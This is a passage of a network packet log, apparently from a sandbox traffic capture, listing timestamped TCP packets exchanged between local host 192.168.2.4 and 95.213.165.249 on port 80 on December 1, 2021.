Dec 1, 2021 09:14:19.435301065 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.435314894 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.435340881 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.435348988 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.435379982 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.435390949 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.435420036 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.435436964 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.435456038 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.435457945 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.435496092 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.435504913 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.435534954 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.435561895 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.435570955 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.435587883 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.435607910 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.435621023 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.435652018 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.435657024 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.435692072 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.435703039 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.435731888 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.435736895 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.435772896 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.435801029 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.435817957 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.435820103 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.435858965 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.435868979 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.435900927 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.435931921 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.435971022 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.436007977 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.436042070 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.436055899 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.436060905 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.436064005 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.436067104 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.436069012 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.436081886 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.436086893 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.436121941 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.436125040 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.436160088 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.436187029 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.436199903 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.436216116 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.436233997 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.436248064 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.436265945 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.436276913 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.436305046 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.436316013 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.436342955 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.436353922 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.436383963 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.436397076 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.436424017 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.436428070 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.436463118 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.436496019 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.436501026 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.436507940 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.436541080 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.436551094 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.436580896 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.436584949 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.436620951 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.436625957 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.436661959 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.436666965 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.436698914 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.436708927 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.436738014 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.436769009 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.436774015 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.436791897 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.436815023 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.436825037 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.436872005 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.436880112 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.436919928 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.436925888 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.436959982 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.436961889 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.436997890 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.437007904 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.437036991 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.437043905 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.437077045 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.437082052 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.437113047 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.437122107 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.437153101 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.437153101 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.437191963 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.437201023 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.437230110 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.437233925 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.437271118 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.437273026 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.437308073 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.437313080 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.437342882 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.437374115 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.437381983 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.437385082 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.437417984 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.437427998 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.437455893 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.437460899 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.437496901 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.437499046 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.437532902 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.437542915 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.437572956 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.437576056 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.437618017 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.437618971 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.437654972 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.437664032 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.437695026 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.437711000 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.437716961 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.437736988 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.437738895 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.437753916 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.437768936 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.437776089 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.437788963 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.437798023 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.437813997 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.437818050 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.437836885 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.437838078 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.437859058 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.437869072 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.437889099 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.437900066 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.437908888 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.437921047 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.437931061 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.437942982 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.437952042 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.437964916 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.437973976 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.437984943 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.437995911 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.438007116 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.438015938 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.438030958 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.438038111 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.438055992 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.438060045 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.438086987 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.438114882 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.496241093 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.496274948 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.496296883 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.496315956 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.496336937 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.496351004 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.496500969 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.553541899 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.553566933 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.553586006 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.553601980 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.553616047 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.553632021 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.553651094 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.553657055 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.553668976 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.553687096 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.553704977 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.553714037 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.553723097 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.553740025 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.553756952 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.553761005 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.553772926 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.553776026 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.553798914 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.553817034 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.553818941 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.553833008 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.553849936 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.553855896 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.553867102 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.553884983 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.553895950 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.553901911 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.553915977 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.553929090 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.553930044 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.553947926 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.553965092 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.553970098 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.553982019 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.553999901 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.554011106 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.554017067 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.554018974 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.554034948 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.554052114 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.554069042 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.554076910 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.554085016 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.554085970 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.554101944 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.554119110 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.554128885 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.554132938 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.554151058 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.554171085 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.554178953 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.554187059 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.554187059 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.554203033 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.554215908 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.554229021 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.554241896 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.554245949 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.554259062 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.554275990 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.554292917 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.554300070 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.554310083 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.554327965 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.554346085 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.554363966 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.554366112 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.554377079 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.554382086 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.554399967 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.554419041 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.554419994 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.554426908 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.554438114 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.554455996 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.554471016 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.554471970 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.554491043 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.554502964 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.554507971 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.554527044 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.554538965 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.554543972 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.554555893 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.554573059 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.554589033 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.554589987 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.554605961 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.554625034 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.554625034 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.554632902 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.554641962 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.554661036 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.554670095 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.554678917 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.554697037 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.554709911 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.554713964 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.554733992 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.554749966 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.554749966 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.554766893 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.554785013 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.554785013 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.554800987 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.554821014 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.554831028 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.554836988 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.554838896 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.554857016 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.554867029 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.554873943 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.554893017 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.554908037 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.554918051 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.554927111 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.554939032 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.554944038 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.554961920 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.554977894 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.554980993 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.554995060 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.555013895 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.555027962 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.555028915 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.555046082 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.555062056 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.555068970 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.555077076 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.555082083 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.555092096 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.555109024 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.555110931 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.555128098 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.555144072 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.555157900 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.555160046 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.555176973 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.555193901 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.555200100 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.555207968 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.555212021 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.555228949 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.555244923 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.555259943 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.555260897 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.555272102 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.555274963 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.555289030 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.555305004 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.555321932 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.555335045 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.555335045 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.555351019 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.555371046 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.555387020 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.555391073 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.555403948 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.555419922 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.555427074 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.555434942 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.555438995 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.555453062 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.555469990 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.555475950 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.555485964 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.555502892 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.555514097 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.555522919 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.577043056 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.612998009 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.613025904 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.613039017 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.613055944 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.613074064 CET	80	49795	95.213.165.249	192.168.2.4
